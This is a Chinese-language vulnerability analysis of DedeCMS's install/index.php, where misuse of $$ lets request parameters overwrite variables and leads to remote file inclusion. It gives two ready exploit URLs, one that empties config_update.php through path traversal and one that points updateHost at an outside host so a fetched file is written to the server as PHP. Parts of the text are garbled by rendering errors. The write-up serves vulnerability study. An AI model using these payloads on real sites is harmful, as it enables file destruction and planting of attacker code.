漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖以至于最后引起远程文件包含漏洞。
1.代码覆盖
这段代码段就是变量覆盖产生的地方,大致意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入 ?hi=hello,则
k
的
值
就
是
s
t
r
,
_k的值就是str,
k的值就是str,_v的值就是hello 所以 KaTeX parse error: Expected '}', got 'EOF' at end of input: {_K}就是$hi,这里很明显的变量覆盖了。
2.利用变量覆盖构造远程文件包含
分析这段漏洞代码,我们可以知道首先引入了**…/data/admin/config_update.php**这个文件。内容为:
变量updateHost由该文件引入,远程去访问http://updatenew.dedecms.com/base-v57/dedecms/demodata.{KaTeX parse error: Expected 'EOF', got '}' at position 7: s_lang}̲.txt这个文件***(s_lang为带输入的文件变量名)***,通过file_get_contents函数将 内容写入,写入到$install_demo_name中,如果内容存在就提示存在,如果不存在就报错。
3.漏洞复现
首先访问/install/index.php
存在。构造payload再次访问,此时***清空config_update.php文件***。
/install/index.php?step=11&s_lang=Quanqua&insLockfile=Quanqua&install_demo_name=…/data/admin/config_update.php
因为远程肯定不存在demodata.Quanqua.txt并且此时有***&install_demo_name=…/data/admin/config_update.php***,相当于重新创建了一个空文件config_update.php,覆盖了原来的config_update.php。可以看到此时文件已经被清空。
这时可以利用变量覆盖来远程包含我们的文件了。
/install/index.php?step=11&s_lang=Quanqua&insLockfile=Quanqua&install_demo_name=…/Quanqua.php&updateHost=http://127.0.0.1/
此时我们本地的/Quanqua.txt文件已经写入目标服务器,并且重新命名为/Quanqua.php。